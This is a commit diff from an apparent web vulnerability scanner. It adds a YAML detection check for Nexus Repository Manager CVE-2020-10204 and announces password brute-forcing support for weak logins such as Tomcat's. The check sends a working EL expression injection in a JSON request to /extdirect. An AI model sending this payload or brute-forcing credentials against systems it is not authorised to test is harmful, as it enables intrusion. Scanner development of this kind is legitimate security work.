修改yaml解析模块,支持密码爆破,如tomcat弱口令。yaml中新增sets参数,类型为数组,用于存放密码,具体看tomcat-manager-week.yaml

WebScan/pocs/nexus-cve-2020-10204.yml

@@ -0,0 +1,20 @@
+name: poc-yaml-nexus-cve-2020-10204
+set:
+  r1: randomInt(40000, 44800)
+  r2: randomInt(40000, 44800)
+rules:
+  - method: POST
+    path: "/extdirect"
+    headers:
+      Content-Type: application/json
+    body: |
+      {"action":"coreui_User","method":"update","data":[{"userId":"anonymous","version":"1","firstName":"Anonymous","lastName":"User2","email":"[email protected]","status":"active","roles":["$\\c{{{r1}}*{{r2}}}"]}],"type":"rpc","tid":28}
+    expression: |
+      response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+  Affected Version: "nexus<3.21.2"
+  author: kingkk(https://www.kingkk.com/)
+  links:
+    - https://cert.360.cn/report/detail?id=b3eaa020cf5c0e9e92136041e4d713bb
+    - https://www.cnblogs.com/magic-zero/p/12641068.html
+    - https://support.sonatype.com/hc/en-us/articles/360044882533-CVE-2020-10199-Nexus-Repository-Manager-3-Remote-Code-Execution-2020-03-31